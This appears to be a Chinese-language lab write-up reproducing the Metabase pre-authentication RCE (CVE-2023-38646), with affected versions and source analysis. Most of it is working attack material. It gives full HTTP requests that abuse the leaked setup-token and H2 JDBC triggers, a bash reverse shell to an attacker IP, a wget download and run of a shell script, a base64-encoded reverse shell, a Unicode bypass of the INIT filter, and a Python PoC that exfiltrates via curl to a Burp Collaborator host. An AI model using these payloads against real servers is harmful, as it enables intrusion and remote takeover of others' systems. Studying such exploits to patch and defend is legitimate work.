影响版本
- Metabase open source 0.46 < 0.46.6.1
- Metabase Enterprise 1.46 < 1.46.6.1
- Metabase open source 0.45 < v0.45.4.1
- Metabase Enterprise 1.45 < 1.45.4.1
- Metabase open source 0.44 < 0.44.7.1
- Metabase Enterprise 1.44 < 1.44.7.1
- Metabase open source 0.43 < 0.43.7.2
- Metabase Enterprise 1.43 < 1.43.7.2
漏洞复现
参考链接:
Metabase RCE漏洞复现
Pre-Auth RCE in Metabase(CVE-2023-38646)
1 2
| # 启用靶机docker环境 docker run -d -p 3000:3000 --name metabase metabase/metabase:v0.46.6
|
1 2
| # 命令行窗口进入容器后台 docker exec -it CONTAINER_ID bash
|
浏览器访问http://localhost:3000
或http://127.0.0.1:3000
可以打开靶机界面。本实验不需要对靶机进行任何特殊处理,不过也可以自己创建一个账户看看
获取setup-token
1 2 3 4 5 6 7 8
| GET /api/session/properties HTTP/1.1 Host: 127.0.0.1:3000 Accept: application/json Accept-Language: en-US, en; q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/json Connection: close Referer: http://127.0.0.1:3000
|
将上述Get请求发送给目标url
响应数据
Post请求触发RCE
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| POST /api/setup/validate HTTP/1.1 Host: 127.0.0.1:3000 Content-Type: application/json
{ "token": "141c5a35-3b1d-4c1b-8eca-0591111fa08c", "details": { "is_on_demand": false, "is_full_sync": false, "is_sample": false, "cache_ttl": null, "refingerprint": false, "auto_run_queries": true, "schedules": {}, "details": { "db": "zip:/app/metabase.jar!/sample-database.db;MODE=MSSQLServer;TRACE_LEVEL_SYSTEM_OUT=1\\;CREATE TRIGGER pwnshell BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\njava.lang.Runtime.getRuntime().exec('touch /tmp/999')\n$$--=x", "advanced-options": false, "ssl": true }, "name": "1", "engine": "h2" } }
|
响应截图
命令执行成功
反弹shell
注:192.168.21.128
是我的kali也就是攻击机ip
shell脚本
1 2
| !/bin/sh bash -c 'exec bash -i >& /dev/tcp/192.168.21.128/6666 0>&1'
|
启用http
服务用于靶机下载shell
脚本,注意0.0.0.0
在真正使用的时候应该替换为kali即攻击机ip
1
| python3 -m http.server 80
|
靶机下载shell脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| POST /api/setup/validate HTTP/1.1 Host: 127.0.0.1:3000 Content-Type: application/json
{ "token": "141c5a35-3b1d-4c1b-8eca-0591111fa08c", "details": { "is_on_demand": false, "is_full_sync": false, "is_sample": false, "cache_ttl": null, "refingerprint": false, "auto_run_queries": true, "schedules": {}, "details": { "db": "zip:/app/metabase.jar!/sample-database.db;MODE=MSSQLServer;TRACE_LEVEL_SYSTEM_OUT=1\\;CREATE TRIGGER pwnshell BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\njava.lang.Runtime.getRuntime().exec('wget http://192.168.21.128:80/1.sh -O /tmp/shell.sh')\n$$--=x", "advanced-options": false, "ssl": true }, "name": "1", "engine": "h2" } }
|
这里只用下载一次就够了,我在本机上试了几次所以有多条下载记录。metabase
是搭在本地的,所以下载使用的ip
和本机是同样的
下载成功
执行shell脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| POST /api/setup/validate HTTP/1.1 Host: 127.0.0.1:3000 Content-Type: application/json
{ "token": "141c5a35-3b1d-4c1b-8eca-0591111fa08c", "details": { "is_on_demand": false, "is_full_sync": false, "is_sample": false, "cache_ttl": null, "refingerprint": false, "auto_run_queries": true, "schedules": {}, "details": { "db": "zip:/app/metabase.jar!/sample-database.db;MODE=MSSQLServer;TRACE_LEVEL_SYSTEM_OUT=1\\;CREATE TRIGGER pwnshell BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\njava.lang.Runtime.getRuntime().exec('/bin/bash /tmp/shell.sh')\n$$--=x", "advanced-options": false, "ssl": true }, "name": "1", "engine": "h2" } }
|
监听6666
端口,获取靶机反弹shell
源码分析
setup-token获取
参考:
Metabase 远程代码执行漏洞分析
H2 JDBC 深入利用
调用/api/setup/validate
通过api.database/test-database-connection
来处理输入的参数完成对数据库的校验。
/api/setup/validate
setup
在安装时会校验setup-token
参数是否正确,来判断是否要进行下步的数据库连接
校验
setup-token
在进行生成的时候被默认设置为了public
权限,所以可以通过/api/session/properties
来读取
获取setup-token
setup-token利用
zip URI方法
H2
在解析 init
参数时对CREATE TRIGGER
会由loadFromSource
做特殊处理,根据执行内容的开头来判断是否为需要通过javascript
引擎执行。如果以javascript
开头就会通过javascript
引擎进行编译然后进行执行。
我们就可以通过javascript
引擎来实现代码执行,不过该方式在JDK 15
之后移除了默认的解析,但是metabase
在项目中使用到了js
引擎技术。
YmFzaCAtaSA+Ji9kZXYvdGNwLzEuMS4xLjEvOTk5OCAwPiYx
需要使用自己的IP和Port重新编码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| POST /api/setup/validate HTTP/1.1 Host: localhost Content-Type: application/json Content-Length: 812
{ "token": "5491c003-41c2-482d-bab4-6e174aa1738c", "details": { "is_on_demand": false, "is_full_sync": false, "is_sample": false, "cache_ttl": null, "refingerprint": false, "auto_run_queries": true, "schedules": {}, "details": { "db": "zip:/app/metabase.jar!/sample-database.db;MODE=MSSQLServer;TRACE_LEVEL_SYSTEM_OUT=1\\;CREATE TRIGGER pwnshell BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\njava.lang.Runtime.getRuntime().exec('bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzEuMS4xLjEvOTk5OCAwPiYx}|{base64,-d}|{bash,-i}')\n$$--=x", "advanced-options": false, "ssl": true }, "name": "an-sec-research-team", "engine": "h2" } }
|
H2限制绕过
转载:Metabase 远程代码执行漏洞分析
分析源码发现H2
连接时会将INIT
参数移除
1 2 3 4 5 6 7 8 9 10 11 12
| (defn- connection-string-set-safe-options "Add Metabase Security Settings™ to this `connection-string` (i.e. try to keep shady users from writing nasty SQL)." [connection-string] {:pre [(string? connection-string)]} (let [[file options] (connection-string->file+options connection-string)] (file+options->connection-string file (merge (->> options ;; Remove INIT=... from options for security reasons (Metaboat #165) ;; http://h2database.com/html/features.html#execute_sql_on_connection (remove (fn [[k _]] (= (u/lower-case-en k) "init"))) (into {})) {"IFEXISTS" "TRUE"}))))
|
connection-string-set-safe-options
使用了lower-case-en
将参数名转换为小写字母之后与init
匹配进行校验.
H2
则是将参数名转换为大写
这里刚好可以使用 拉丁字母ı
替换INIT
中的I
,ıNIT
在转成大写时为INIT
但是ıNIT
转成小写后为ınit
中的ı
没有被转换,绕过限制
构造post请求
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| POST /api/setup/validate HTTP/1.1 Host: 127.0.0.1:3000 Content-Type: application/json
{ "token": "141c5a35-3b1d-4c1b-8eca-0591111fa08c", "details": { "is_on_demand": false, "is_full_sync": false, "is_sample": false, "cache_ttl": null, "refingerprint": false, "auto_run_queries": true, "schedules": {}, "details": { "db": "file:/metabase.db/metabase.db;ınit=CREATE TRIGGER pwnshell BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\njava.lang.Runtime.getRuntime().exec('touch /tmp/abc')\n$$", "advanced-options": true}, "name": "1", "engine": "h2", "database": {"db": "file:/metabase.db/metabase.db;ınit=CREATE TRIGGER pwnshell BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\njava.lang.Runtime.getRuntime().exec('bash -c touch /tmp/abc') $$", "advanced-options": true, "ssl": false} } }
|
RCE成功
mem方法
参考:0xrobiul / CVE-2023-38646
这个我没有做过,感兴趣可以自行尝试,这个方法需要使用Burpsuite
的collaborator
,专业版Burpsuite自带这个功能,下载地址:Burpsuite_Pro
poc代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| import requests import argparse from colorama import Fore, Style Gcyan = Fore.YELLOW + Style.BRIGHT Cyan = Fore.CYAN + Style.BRIGHT STOP = Style.RESET_ALL logo = ''' _____ _____ ___ __ ___ ____ ____ ___ __ _ _ __ / __\ \ / / __|_|_ ) \_ )__ /__|__ /( _ ) / /| | | / / | (__ \ V /| _|___/ / () / / |_ \___|_ \/ _ \/ _ \_ _/ _ \\ \___| \_/ |___| /___\__/___|___/ |___/\___/\___/ |_|\___/ ''' print(Gcyan + logo + STOP) print(Cyan + "The PoC Finder!!" + STOP + Gcyan + " By: 0xRobiul\n" + STOP)
parser = argparse.ArgumentParser() parser.add_argument("-u", "--url", type=str, required=True, help="Target URL.") parser.add_argument("-t", "--token", type=str, required=True, help="Setup-Token From /api/session/properties .") parser.add_argument("-c", "--collabrator", type=str, required=True, help="Burp Collabrator Client.") args = parser.parse_args()
url = args.url + "/api/setup/validate" headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0", "Accept": "application/json", "Content-Type": "application/json", "Connection": "close"} payload={"details": {"details": {"advanced-options": True, "classname": "org.h2.Driver", "subname": "mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=CREATE ALIAS SHELLEXEC AS $$ void shellexec(String cmd) throws java.io.IOException {Runtime.getRuntime().exec(new String[]{\"sh\", \"-c\", cmd})\\;}$$\\;CALL SHELLEXEC('curl -d key=0xRobiul " + args.collabrator +"');", "subprotocol": "h2"}, "engine": "postgres", "name": "x"}, "token": args.token} attk = requests.post(url, headers=headers, json=payload)
print(Cyan + "Done!! Check Burp Colabrator!!" + STOP)
|
使用方法
1 2
| python3 CVE-2023-38646.py -u 目标url:port -t token -c Burp_Collabrator_Client
|